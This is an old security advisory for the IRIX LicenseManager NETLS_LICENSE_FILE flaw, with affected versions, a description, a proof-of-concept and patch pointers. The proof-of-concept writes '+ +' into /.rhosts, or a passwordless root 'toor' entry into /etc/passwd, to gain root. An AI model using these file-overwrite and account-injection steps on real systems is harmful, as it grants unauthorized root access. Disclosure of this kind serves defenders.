IRIX LicenseManager NETLS_LICENSE_FILE Vulnerability

BID:72

Info

IRIX LicenseManager NETLS_LICENSE_FILE Vulnerability

Bugtraq ID: 72
Class: Access Validation Error
CVE:
Remote: No
Local: Unknown
Published: Apr 05 1996 12:00AM
Updated: Apr 05 1996 12:00AM
Credit: The vulnerability was published as "LicenseManager / NetLS security bug" by Arthur Hagen <[email protected]> and as "Irix: root exploit for LicenseManager" by Yuri Volobuev <[email protected]>.
Vulnerable: SGI license_oeo 1.0
SGI IRIX 6.2
SGI IRIX 5.3
Not Vulnerable: SGI license_oeo 3.0
SGI IRIX 6.3
SGI IRIX 6.1
SGI IRIX 6.0.1
SGI IRIX 6.0
SGI IRIX 5.2
SGI IRIX 5.1.1
SGI IRIX 5.1
SGI IRIX 5.0.1
SGI IRIX 5.0
SGI IRIX 4.0.5 IPR
SGI IRIX 4.0.5 H
SGI IRIX 4.0.5 G
SGI IRIX 4.0.5 F
SGI IRIX 4.0.5 E
SGI IRIX 4.0.5 D
SGI IRIX 4.0.5 A
SGI IRIX 4.0.5 (IOP)
SGI IRIX 4.0.5
SGI IRIX 4.0.4 T
SGI IRIX 4.0.4 B
SGI IRIX 4.0.4
SGI IRIX 4.0.3
SGI IRIX 4.0.2
SGI IRIX 4.0.1 T
SGI IRIX 4.0.1
SGI IRIX 4.0

Discussion

IRIX LicenseManager NETLS_LICENSE_FILE Vulnerability

Under normal operation LicenseManager(1M) is a program used to view and
manage FLEXlm and NetLS software licenses. Unfortunately, a set of
vulnerabilities has been discovered that allows LicenseManager(1M) to
overwrite root-owned files allowing root access.

Exploit / POC

IRIX LicenseManager NETLS_LICENSE_FILE Vulnerability

% setenv NETLS_LICENSE_FILE /.rhosts
% /usr/etc/LicenseManager &

Install...
NetLS Node-locked
Vendor Name: whatever
Vendor ID: + +
Product name: whatever
License version: 1.000
License version:
Expiration date: 01-jan-0

(in license version field put a space)

Apply

License(s) succesfully installed

% cat /.rhosts
#:# "whatever" "whatever" "1.000" "Incomplete"
+ +

If your system has remote root logins disabled, replacing /.rhosts with
/etc/passwd and + + with toor:0:0::/:/bin/sh.

Solution / Fix

IRIX LicenseManager NETLS_LICENSE_FILE Vulnerability

Solution:
For IRIX 5.3:

Upgrade to version 3.0 of the License Tools (license_eoe).
You can obtain it from ftp://ftp.sgi.com/Security/patchLic5.3.tar.

Fir IRIX 6.2:

Upgrade to version 3.0 of the License Tools (license_eoe).
You can obtain it from ftp://ftp.sgi.com/Security/patch6.2.tar.

References

IRIX LicenseManager NETLS_LICENSE_FILE Vulnerability

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